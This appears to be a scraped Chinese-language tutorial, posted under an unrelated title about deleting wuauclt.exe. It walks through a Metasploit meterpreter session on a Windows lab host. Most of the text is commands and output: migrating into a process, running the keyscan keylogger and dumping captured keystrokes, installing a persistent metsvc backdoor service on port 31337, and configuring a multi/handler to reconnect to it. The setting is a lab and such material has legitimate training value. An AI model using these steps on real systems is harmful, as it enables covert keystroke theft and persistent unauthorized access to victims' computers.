wuauclt1.exe_wuauclt1exe能删除吗_关闭wuauclt.exe(11)

664 wuauclt.exe x86 0 COMBATLABAdministratorC:WINNTsystem32wuauclt.exe

meterpreter > migrate 1820• Migrating to 1820…

• Migration completed successfully.

meterpreter > getuid

Server username: COMBATLABAdministrator

权限迁移成功，从SYSTEM权限迁移到Administrator权限

meterpreter有键盘记录功能

使用keyscan_start开启键盘记录功能，使用keyscan_dump,显示记录的内容。使用keyscan_stop关闭该功能。

meterpreter > keyscan_start

Starting the keystroke sniffer…

meterpreter > keyscan_dump

Dumping captured keystrokes…

Junbao is a nice guy s

meterpreter > keyscan_stop

Stopping the keystroke sniffer…

########################使用Meterpreter获得后门####################

入侵成功后，如何建立后门？

强大meterpreter工具，可以提供这种功能。

meterpreter > run metsvc -h

OPTIONS:

-A Automatically start a matching multi/handler to connect to theservice

-h This help menu

-r Uninstall an existing Meterpreter service (files must be deletedmanually)

meterpreter > run metsvc • Creating a meterpreter service onport 31337

• Creating a temporary installation directoryC:DOCUME~1ADMINI~1LOCALS~1TempEkQASdimbMldN…

• >> Uploading metsrv.dll…

• >> Uploading metsvc-server.exe…

• >> Uploading metsvc.exe…

• Starting the service…

* Installing service metsvc

* Starting service

Service metsvc successfully installed.

后门建立成功。

########################后门利用########################

后门如何利用啊？

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/metsvc_bind_tcp

payload => windows/metsvc_bind_tcp

msf exploit(handler) > set LPORT 31337

LPORT => 31337

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-28348-11.html